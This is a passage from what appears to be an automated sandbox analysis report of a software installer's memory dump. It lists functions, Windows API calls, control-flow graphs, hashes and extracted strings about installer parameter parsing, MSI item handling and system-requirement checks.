                      • Part of subcall function 6CB83A16: __EH_prolog3.LIBCMT ref: 6CB83A1D
                    • GetThreadLocale.KERNEL32(?,passive,00000000), ref: 6CBCB6C8
                      • Part of subcall function 6CBB7889: __EH_prolog3.LIBCMT ref: 6CBB7890
                      • Part of subcall function 6CBB7DB0: __EH_prolog3.LIBCMT ref: 6CBB7DB7
                      • Part of subcall function 6CBB7C9E: __EH_prolog3.LIBCMT ref: 6CBB7CA5
                      • Part of subcall function 6CBB7E78: __EH_prolog3.LIBCMT ref: 6CBB7E7F
                      • Part of subcall function 6CB843C4: __EH_prolog3.LIBCMT ref: 6CB843CB
                      • Part of subcall function 6CB85E41: __EH_prolog3.LIBCMT ref: 6CB85E48
                      • Part of subcall function 6CB85E41: PathFindFileNameW.SHLWAPI(?,?,?,0000000C,6CB85E13,?,6CBB831D,?,0000000C,6CB87D3D,?,00000000,?,?,6CB7AB18,00000008), ref: 6CB85E83
                      • Part of subcall function 6CB85E41: PathFindExtensionW.SHLWAPI(?), ref: 6CB85EA0
                      • Part of subcall function 6CBB6DCB: GetCommandLineW.KERNEL32(564FE71B,?,?,00000000,?,?,?,?,?,ParameterInfo.xml,?,?,?,00000000,?,?), ref: 6CBB6E16
                      • Part of subcall function 6CBB594B: __EH_prolog3.LIBCMT ref: 6CBB5952
                    • CloseHandle.KERNEL32(?,?,?,?,OneInstance,?,00000000,?,ParameterInfo.xml,?,?,00000738,6CBBFA6E,?,6CB7A794,-00000960), ref: 6CBCBED4
                      • Part of subcall function 6CBBAE4A: __EH_prolog3.LIBCMT ref: 6CBBAE51
                    • CloseHandle.KERNEL32(?,?,00000000,?,00000001,00000007,?,OneInstance,?,?,00000000,?,?,?,?,?), ref: 6CBCBE22
                      • Part of subcall function 6CBA6F61: __EH_prolog3.LIBCMT ref: 6CBA6F68
                      • Part of subcall function 6CBBBE94: _free.LIBCMT ref: 6CBBBEBC
                      • Part of subcall function 6CBBBE94: _free.LIBCMT ref: 6CBBBECD
                    • CloseHandle.KERNEL32(?), ref: 6CBCBF2E
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Path$CloseCommandException@8FileH_prolog3_catchHandleLineThrow$FindInitializeNameRelativeThread_free$CreateDispatcherExceptionExistsExtensionFreeLocaleModuleReadStringUser
                    • String ID: !$#(loc.ids_wer_message)$%TEMP%\$Blocker$Command-line option error: $CreateFilesInUser$CreateHelpUsage$CreateUiMode$FactoryInitialization$InvalidArguments$OneInstance$PISemanticChecker$ParameterInfo.xml$Parameterinfo.xml or UiInfo.xml has a #Loc that is not defined in LocalizeData.xml $W$passive
                    • API String ID: 5912831-280204926
                    • Opcode ID: 5e3accc4353eda577951e9ca149cd2cb279d7cb22b7fe71afe652626303337a3
                    • Instruction ID: 2b3c2b45c117eb46af4dc2a9d962043ff288cbc8d11affa08d104d001c955fcf
                    • Opcode Fuzzy Hash: 5e3accc4353eda577951e9ca149cd2cb279d7cb22b7fe71afe652626303337a3
                    • Instruction Fuzzy Hash: DAE24971D00298DFCF11DBA8C844BDDBBB8AF05318F14819AE458B7791DB35AA49CF62
                    Function 6CBC09E3 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 228registryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 883 6cbc09e3-6cbc0a25 call 6cbe6e8d call 6cb85727 889 6cbc0a3f 883->889 890 6cbc0a27-6cbc0a2f GetLastError 883->890 893 6cbc0a41-6cbc0a80 call 6cbb833e call 6cbc1236 call 6cbd8f0e 889->893 891 6cbc0a3b-6cbc0a3d 890->891 892 6cbc0a31-6cbc0a36 890->892 891->893 892->891 901 6cbc0a9a 893->901 902 6cbc0a82-6cbc0a8a GetLastError 893->902 905 6cbc0a9c-6cbc0ae9 call 6cbb833e call 6cbc1236 call 6cbd8f0e RegOpenKeyExW 901->905 903 6cbc0a8c-6cbc0a91 902->903 904 6cbc0a96-6cbc0a98 902->904 903->904 904->905 912 6cbc0aef-6cbc0b14 RegQueryValueExW 905->912 913 6cbc0bc2-6cbc0bd9 call 6cbde770 905->913 914 6cbc0b16-6cbc0b34 RegQueryValueExW 912->914 915 6cbc0b52-6cbc0b5f RegCloseKey 912->915 921 6cbc0bdc-6cbc0be1 913->921 914->915 917 6cbc0b36-6cbc0b4f RegQueryValueExW 914->917 918 6cbc0bc0 915->918 919 6cbc0b61-6cbc0b73 915->919 917->915 918->913 924 6cbc0b8d 919->924 925 6cbc0b75-6cbc0b7d GetLastError 919->925 921->921 923 6cbc0be3-6cbc0bf2 GlobalMemoryStatusEx 921->923 926 6cbc0c4f-6cbc0c74 call 6cbb833e GetLastError call 6cbc1236 923->926 927 6cbc0bf4-6cbc0c13 923->927 931 6cbc0b8f-6cbc0bbf call 6cbb833e call 6cbc1236 call 6cbd8f0e 924->931 929 6cbc0b7f-6cbc0b84 925->929 930 6cbc0b89-6cbc0b8b 925->930 945 6cbc0c77-6cbc0c8b call 6cbd8f0e call 6cbc3439 call 6cbe6f1f 926->945 936 6cbc0c2b-6cbc0c4d call 6cbb833e call 6cbc1236 927->936 937 6cbc0c15-6cbc0c1d GetLastError 927->937 929->930 930->931 931->918 936->945 940 6cbc0c1f-6cbc0c24 937->940 941 6cbc0c29 937->941 940->941 941->936
                    APIs
                    • __EH_prolog3_GS.LIBCMT ref: 6CBC09ED
                      • Part of subcall function 6CB85727: GetModuleHandleW.KERNEL32(kernel32.dll,?,6CB85782,00000000,6CBB831D), ref: 6CB85731
                      • Part of subcall function 6CB85727: GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 6CB85741
                    • GetLastError.KERNEL32 ref: 6CBC0A27
                    • GetLastError.KERNEL32 ref: 6CBC0A82
                    • RegOpenKeyExW.KERNEL32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000000,00020019,?,?,00000000,?,Failed to record NumberOfProcessor), ref: 6CBC0ADE
                    • RegQueryValueExW.KERNEL32(?,~MHz,00000000,00000000,?,?), ref: 6CBC0B0D
                    • RegQueryValueExW.ADVAPI32(?,~Mhz,00000000,00000000,?,?), ref: 6CBC0B2D
                    • RegQueryValueExW.ADVAPI32(?,~mhz,00000000,00000000,?,?), ref: 6CBC0B4D
                    • RegCloseKey.ADVAPI32(?), ref: 6CBC0B55
                    • GetLastError.KERNEL32 ref: 6CBC0B75
                    • _memset.LIBCMT ref: 6CBC0BCC
                    • GlobalMemoryStatusEx.KERNEL32(?,?,?,6CB7A738,?,?,00000738,6CBBFA6E,?,6CB7A794,-00000960), ref: 6CBC0BEA
                    • GetLastError.KERNEL32(?,?,00000738,6CBBFA6E,?,6CB7A794,-00000960), ref: 6CBC0C15
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    • GetLastError.KERNEL32(?,GlobalMemoryStatusEx failed,?,?,00000738,6CBBFA6E,?,6CB7A794,-00000960), ref: 6CBC0C60
                      • Part of subcall function 6CBC1236: __EH_prolog3.LIBCMT ref: 6CBC123D
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLast$QueryValue$H_prolog3$AddressCloseGlobalH_prolog3_HandleMemoryModuleOpenProcStatus_memset
                    • String ID: Failed to record CpuArchitecture$Failed to record NumberOfProcessor$Failed to record SystemMemory$GlobalMemoryStatusEx failed$HARDWARE\DESCRIPTION\System\CentralProcessor\0$~MHz$~Mhz$~mhz
                    • API String ID: 2659457873-2309824155
                    • Opcode ID: f15b05945846d1beb4d688fa8eef0c8e5b26bea5fb456d8246ac76d72ec118d2
                    • Instruction ID: f6437255627d368e238d3368bdd1d76eb18645016dfb5c131fcb9b3bff260e9d
                    • Opcode Fuzzy Hash: f15b05945846d1beb4d688fa8eef0c8e5b26bea5fb456d8246ac76d72ec118d2
                    • Instruction Fuzzy Hash: 5A81AD75A00299ABDB20CFE4CD44FEEBBB9EF05324F244625E525EB690D730DA058B61
                    Function 6CBCD01E Relevance: 35.1, APIs: 3, Strings: 17, Instructions: 92COMMON
                    Download Yara Rule

                    Control-flow Graph

                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBCD025
                      • Part of subcall function 6CB85D3F: __EH_prolog3.LIBCMT ref: 6CB85D46
                      • Part of subcall function 6CB85D3F: GetModuleFileNameW.KERNEL32(6CB60000,00000010,00000104,?,6CBB831D,00000000), ref: 6CB85D93
                      • Part of subcall function 6CBB8E4A: PathAppendW.SHLWAPI(00000000,?,?,?,?,?,6CBC99FD,00000000,00000000,?,?,?,00000000,?,UiInfo.xml), ref: 6CBB8E6E
                    • PathFileExistsW.SHLWAPI(?,6CB761FC,graphics,?,00000054,6CBCB48A,?,?,?,?,ParameterInfo.xml,?,00000000,?,?,ParameterInfo.xml), ref: 6CBCD0BE
                    • __CxxThrowException@8.LIBCMT ref: 6CBCD16E
                      • Part of subcall function 6CBB8F73: PathRemoveFileSpecW.SHLWAPI(00000000,2806C750,00000010,80004005,6CB85DB8,6CBBF845,00000010,?,6CBB831D,00000000), ref: 6CBB8F84
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: FilePath$H_prolog3$AppendException@8ExistsModuleNameRemoveSpecThrow
                    • String ID: Graphic file %s does not exists$Print.ico$Rotate1.ico$Rotate2.ico$Rotate3.ico$Rotate4.ico$Rotate5.ico$Rotate6.ico$Rotate7.ico$Rotate8.ico$Save.ico$Setup.ico$SysReqMet.ico$SysReqNotMet.ico$graphics$stop.ico$warn.ico
                    • API String ID: 419085990-1965610755
                    • Opcode ID: 58eac19617343a09d7b8aba9eafdce89ade10667be3388c39f8cc21849d5f342
                    • Instruction ID: d5ab71e8e41906d2dc79909ffe0fd444153661d642385a145774ac4c6e677a55
                    • Opcode Fuzzy Hash: 58eac19617343a09d7b8aba9eafdce89ade10667be3388c39f8cc21849d5f342
                    • Instruction Fuzzy Hash: EC4136B2D0029D9FCB20CFE4C846BEEBBB4BF04304F510419E825BBA50D7319A09CBA1
                    Function 6CB9A82C Relevance: 33.9, APIs: 2, Strings: 17, Instructions: 638COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 990 6cb9a82c-6cb9a854 call 6cbe6e1a 993 6cb9a85c-6cb9a87c call 6cb96249 990->993 994 6cb9a856-6cb9a858 990->994 997 6cb9a87e-6cb9a880 993->997 998 6cb9a884-6cb9a8a8 call 6cb96440 993->998 994->993 997->998 1001 6cb9a8aa-6cb9a8ac 998->1001 1002 6cb9a8b0-6cb9a8e4 call 6cb969b7 call 6cbb833e 998->1002 1001->1002 1007 6cb9a8ec-6cb9a90c call 6cb88d44 call 6cb91c2e 1002->1007 1008 6cb9a8e6-6cb9a8e8 1002->1008 1013 6cb9a90e-6cb9a910 1007->1013 1014 6cb9a914-6cb9a94a call 6cbd8f0e call 6cbb833e 1007->1014 1008->1007 1013->1014 1019 6cb9a94c-6cb9a94e 1014->1019 1020 6cb9a952-6cb9a972 call 6cb88d44 call 6cb91d3d 1014->1020 1019->1020 1025 6cb9a97a-6cb9a9b0 call 6cbd8f0e call 6cbb833e 1020->1025 1026 6cb9a974-6cb9a976 1020->1026 1031 6cb9a9b8-6cb9a9de call 6cb88d44 call 6cb9784c 1025->1031 1032 6cb9a9b2-6cb9a9b4 1025->1032 1026->1025 1037 6cb9a9e0-6cb9a9e2 1031->1037 1038 6cb9a9e6-6cb9aa1b call 6cbd8f0e call 6cbb833e 1031->1038 1032->1031 1037->1038 1043 6cb9aa1d-6cb9aa1f 1038->1043 1044 6cb9aa23-6cb9aa48 call 6cb89411 call 6cb93ba9 1038->1044 1043->1044 1049 6cb9aa4a-6cb9aa4c 1044->1049 1050 6cb9aa50-6cb9aa72 call 6cbd8f0e 1044->1050 1049->1050 1053 6cb9aa7a-6cb9aa99 call 6cb96d1f 1050->1053 1054 6cb9aa74-6cb9aa76 1050->1054 1057 6cb9aa9b-6cb9aa9d 1053->1057 1058 6cb9aaa1-6cb9aac3 call 6cb96e28 1053->1058 1054->1053 1057->1058 1061 6cb9aacb-6cb9ab73 call 6cb970c5 call 6cb997ce call 6cbb833e 1058->1061 1062 6cb9aac5-6cb9aac7 1058->1062 1069 6cb9ab7b-6cb9abc1 call 6cb895c1 call 6cbd8f0e call 6cbb833e 1061->1069 1070 6cb9ab75-6cb9ab77 1061->1070 1062->1061 1077 6cb9abc9-6cb9ac09 call 6cb89703 call 6cbd8f0e call 6cbb833e 1069->1077 1078 6cb9abc3-6cb9abc5 1069->1078 1070->1069 1085 6cb9ac0b-6cb9ac0d 1077->1085 1086 6cb9ac11-6cb9ac54 call 6cb89703 call 6cbd8f0e call 6cbb833e 1077->1086 1078->1077 1085->1086 1093 6cb9ac5c-6cb9ac86 call 6cb89703 call 6cbd8f0e 1086->1093 1094 6cb9ac56-6cb9ac58 1086->1094 1099 6cb9ac88-6cb9ac8a 1093->1099 1100 6cb9ac8e-6cb9aca9 call 6cb889b7 1093->1100 1094->1093 1099->1100 1103 6cb9acab-6cb9acad 1100->1103 1104 6cb9acb1-6cb9acbc call 6cb8922c 1100->1104 1103->1104 1107 6cb9acbe-6cb9ad0f call 6cbb833e * 2 call 6cb8838a call 6cbd8f0e * 2 call 6cb8a378 1104->1107 1108 6cb9ad22-6cb9ad46 call 6cbb833e 1104->1108 1133 6cb9ad14-6cb9ad1d call 6cbe14aa 1107->1133 1113 6cb9ad48-6cb9ad4a 1108->1113 1114 6cb9ad4e-6cb9ad93 call 6cb89703 call 6cbb833e call 6cb8a2b5 call 6cbd8f0e * 2 1108->1114 1113->1114 1136 6cb9ad95-6cb9ada9 call 6cba2d50 1114->1136 1137 6cb9ae06-6cb9ae33 call 6cbb833e 1114->1137 1133->1108 1142 6cb9adab-6cb9adb3 1136->1142 1143 6cb9adbd 1136->1143 1144 6cb9ae3b call 6cb890aa 1137->1144 1145 6cb9ae35-6cb9ae37 1137->1145 1146 6cb9adb9-6cb9adbb 1142->1146 1147 6cb9adb5-6cb9adb7 1142->1147 1148 6cb9adbf-6cb9adcc call 6cbd8f0e 1143->1148 1151 6cb9ae40-6cb9ae42 1144->1151 1145->1144 1146->1148 1147->1143 1147->1146 1148->1137 1155 6cb9adce-6cb9ae01 call 6cbb833e * 2 call 6cb8838a 1148->1155 1153 6cb9ae89 1151->1153 1154 6cb9ae44-6cb9ae74 call 6cbb833e 1151->1154 1157 6cb9ae8b-6cb9ae8f 1153->1157 1163 6cb9ae7c-6cb9ae83 call 6cb890aa 1154->1163 1164 6cb9ae76-6cb9ae78 1154->1164 1155->1133 1160 6cb9ae91-6cb9ae9b call 6cbd8f0e 1157->1160 1161 6cb9aea0-6cb9aeab 1157->1161 1160->1161 1166 6cb9aeb8-6cb9aeba 1161->1166 1167 6cb9aead-6cb9aeb3 call 6cbd8f0e 1161->1167 1163->1153 1181 6cb9ae85-6cb9ae87 1163->1181 1164->1163 1168 6cb9aebc-6cb9aefa call 6cbb833e * 2 call 6cb8838a call 6cbd8f0e 1166->1168 1169 6cb9af22-6cb9af2b 1166->1169 1167->1166 1200 6cb9aefe-6cb9af1a call 6cbd8f0e call 6cb8a378 1168->1200 1173 6cb9af2d-6cb9af6f call 6cbb833e * 2 call 6cb8838a call 6cbd8f0e 1169->1173 1174 6cb9af71-6cb9af7a 1169->1174 1173->1200 1182 6cb9af7c-6cb9af7e 1174->1182 1183 6cb9af82-6cb9af89 call 6cbe6f06 1174->1183 1181->1157 1182->1183 1200->1169
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB9A833
                      • Part of subcall function 6CB91D3D: __EH_prolog3.LIBCMT ref: 6CB91D44
                      • Part of subcall function 6CB91D3D: __CxxThrowException@8.LIBCMT ref: 6CB91E11
                    • __CxxThrowException@8.LIBCMT ref: 6CB9AD1D
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB8838A: __EH_prolog3.LIBCMT ref: 6CB88391
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw
                    • String ID: <$ActionTable$ApplicableIf$Compressed$Compressed items need to have URL and CompressedDownloadSize authored.$CustomErrorHandling$IsPresent$MSIOptions$MSIRepairOptions$MSIUninstallOptions$ParameterInfo.xml$ProductCode$RepairOverride$UninstallOverride$schema validation failure: MSI, AgileMSI and AgileMSP do not support RepairOverride or UninstallOverride child elements!$schema validation failure: Product Code cannot be emoty.$schema validation failure: wrong number of MSI child nodes!
                    • API String ID: 2489616738-1903366528
                    • Opcode ID: 0bb376aaf8a94b7acf94c6e289e12aa54e906f47bc7b1885d7b0a556e038d762
                    • Instruction ID: afd8050c1f38b55713a10688dd8a863a9b8f250867321def2dd1a79e7cb1494e
                    • Opcode Fuzzy Hash: 0bb376aaf8a94b7acf94c6e289e12aa54e906f47bc7b1885d7b0a556e038d762
                    • Instruction Fuzzy Hash: 8C422E71905289EFDF04DFA8C944AEE7BB9AF09318F144559F824EB780CB35EA05CB61
                    Function 6CBA2582 Relevance: 32.0, APIs: 2, Strings: 16, Instructions: 464COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 1205 6cba2582-6cba25bb call 6cbe6e1a call 6cb88996 call 6cbb85bc 1212 6cba25bd-6cba25d1 call 6cbdc0aa 1205->1212 1213 6cba2635-6cba2645 call 6cbb85bc 1205->1213 1218 6cba260f 1212->1218 1219 6cba25d3-6cba25fd call 6cbb833e 1212->1219 1220 6cba2688-6cba2698 call 6cbb85bc 1213->1220 1221 6cba2647-6cba265b call 6cbdc0aa 1213->1221 1222 6cba2611-6cba261f 1218->1222 1235 6cba25ff-6cba2601 1219->1235 1236 6cba2605-6cba2608 call 6cb9a82c 1219->1236 1232 6cba26da-6cba26ea call 6cbb85bc 1220->1232 1233 6cba269a-6cba26ae call 6cbdc0aa 1220->1233 1237 6cba28bd 1221->1237 1238 6cba2661-6cba2671 1221->1238 1226 6cba28c6-6cba28f1 call 6cbb833e call 6cbe68b5 1222->1226 1227 6cba2625-6cba2630 call 6cbd8f0e 1222->1227 1261 6cba2938-6cba297b call 6cbb8cd5 call 6cbb8c7a call 6cbb8c24 1226->1261 1262 6cba28f3-6cba2936 call 6cb96cb7 call 6cbd8eab call 6cbb84b9 call 6cbd8f0e * 2 1226->1262 1227->1226 1253 6cba272b-6cba273b call 6cbb85bc 1232->1253 1254 6cba26ec-6cba2700 call 6cbdc0aa 1232->1254 1233->1237 1255 6cba26b4-6cba26c5 1233->1255 1235->1236 1249 6cba260d 1236->1249 1241 6cba28bf-6cba28c3 1237->1241 1243 6cba2679-6cba2683 call 6cb9f05d 1238->1243 1244 6cba2673-6cba2675 1238->1244 1241->1226 1243->1241 1244->1243 1249->1222 1271 6cba277d-6cba278d call 6cbb85bc 1253->1271 1272 6cba273d-6cba2751 call 6cbdc0aa 1253->1272 1254->1237 1268 6cba2706-6cba2716 1254->1268 1258 6cba26cd-6cba26d5 call 6cb9b69b 1255->1258 1259 6cba26c7-6cba26c9 1255->1259 1258->1241 1259->1258 1301 6cba2980-6cba29c0 call 6cbd8f0e * 5 1261->1301 1262->1261 1275 6cba2718-6cba271a 1268->1275 1276 6cba271e-6cba2721 call 6cb9d8a6 1268->1276 1288 6cba278f-6cba2794 call 6cbdc0aa 1271->1288 1289 6cba27d0-6cba27e0 call 6cbb85bc 1271->1289 1272->1237 1285 6cba2757-6cba2768 1272->1285 1275->1276 1287 6cba2726 1276->1287 1291 6cba276a-6cba276c 1285->1291 1292 6cba2770-6cba2778 call 6cb9c922 1285->1292 1287->1241 1300 6cba2799-6cba27a3 1288->1300 1304 6cba27e2-6cba27f6 call 6cbdc0aa 1289->1304 1305 6cba2823-6cba2833 call 6cbb85bc 1289->1305 1291->1292 1292->1241 1300->1237 1306 6cba27a9-6cba27b9 1300->1306 1355 6cba29c8-6cba29d0 call 6cbe6f06 1301->1355 1356 6cba29c2-6cba29c4 1301->1356 1304->1237 1322 6cba27fc-6cba280c 1304->1322 1319 6cba286e-6cba287e call 6cbb85bc 1305->1319 1320 6cba2835-6cba2849 call 6cbdc0aa 1305->1320 1310 6cba27bb-6cba27bd 1306->1310 1311 6cba27c1-6cba27cb call 6cb9e30e 1306->1311 1310->1311 1311->1241 1335 6cba29d3-6cba2ad5 call 6cbb8cd5 call 6cbb8c7a call 6cbd8f0e * 2 call 6cbb833e call 6cbb8cd5 call 6cb8838a call 6cbd8f0e * 2 call 6cb88415 call 6cbd8f0e call 6cb8a378 call 6cbe14aa call 6cb9632c 1319->1335 1336 6cba2884-6cba2898 call 6cbdc0aa 1319->1336 1320->1237 1332 6cba284b-6cba285c 1320->1332 1325 6cba280e-6cba2810 1322->1325 1326 6cba2814-6cba281e call 6cb9facf 1322->1326 1325->1326 1326->1241 1338 6cba285e-6cba2860 1332->1338 1339 6cba2864-6cba286c call 6cba02c6 1332->1339 1386 6cba2ade-6cba2ae2 1335->1386 1387 6cba2ad7-6cba2add call 6cbdb081 1335->1387 1336->1237 1346 6cba289a-6cba28ab 1336->1346 1338->1339 1339->1241 1350 6cba28ad-6cba28af 1346->1350 1351 6cba28b3-6cba28bb call 6cba1287 1346->1351 1350->1351 1351->1241 1356->1355 1387->1386
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBA2589
                      • Part of subcall function 6CBDC0AA: _malloc.LIBCMT ref: 6CBDC0C4
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    • __CxxThrowException@8.LIBCMT ref: 6CBA2AB0
                      • Part of subcall function 6CBDC0AA: std::exception::exception.LIBCMT ref: 6CBDC0F9
                      • Part of subcall function 6CBDC0AA: std::exception::exception.LIBCMT ref: 6CBDC113
                      • Part of subcall function 6CBDC0AA: __CxxThrowException@8.LIBCMT ref: 6CBDC124
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: Exception@8H_prolog3Throwstd::exception::exception$_malloc
                    • String ID: ", local path $". Valid types are MSI, MSP, Exe, Patches, ServiceControl and File. Theses are case sensitive.$(not applicable)$Adding Item type "$AgileMSI$CleanupBlock$Exe$File$MSI$MSP$ParameterInfo.xml$Patches$RelatedProducts$ServiceControl$Unknown Item type "$schema validation failure: unknown Item type -
                    • API String ID: 3439882596-1328758535
                    • Opcode ID: 2de9432b2fabf8f0bb31a3851b5478c2d35daf1274c28a248189d36d923bcb3f
                    • Instruction ID: 3f85fc3e34b8423abaf74b8fb9d3dd8bed327a3dc8f9c5a6293e7fbe0b515099
                    • Opcode Fuzzy Hash: 2de9432b2fabf8f0bb31a3851b5478c2d35daf1274c28a248189d36d923bcb3f
                    • Instruction Fuzzy Hash: C1029071905288AFCF04DFE8C944AED7BB8EF09318F104569F459E7B91CB31DA058BA6
                    Function 6CB83E77 Relevance: 31.7, APIs: 1, Strings: 17, Instructions: 219COMMONLIBRARYCODE
                    Download Yara Rule

                    Control-flow Graph

                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB83E7E
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CBB9067: __EH_prolog3.LIBCMT ref: 6CBB906E
                      • Part of subcall function 6CBB9067: __recalloc.LIBCMT ref: 6CBB90B0
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$__recalloc
                    • String ID: CEIPconsent$NoSetupVersionCheck$chainingpackage$createlayout$lcid$log$msioptions$norestart$parameterfolder$passive$pipe$promptrestart$repair$serialdownload$showfinalerror$uninstall$uninstallpatch
                    • API String ID: 1900422986-634121796
                    • Opcode ID: 15044161565112311ed916175cce5eb792f8f0a899dd65aa9d1a042b4c850789
                    • Instruction ID: 34908db438baffefb020cae8f775f0a8f065c6a142bc3cc87b989ea36044b503
                    • Opcode Fuzzy Hash: 15044161565112311ed916175cce5eb792f8f0a899dd65aa9d1a042b4c850789
                    • Instruction Fuzzy Hash: EF91E8358042CCAADB00DBB8C544BDD77A9AF1136CF54C556F824ABB81DB76E70C9722
                    Function 6CB9148D Relevance: 30.3, APIs: 3, Strings: 14, Instructions: 510COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
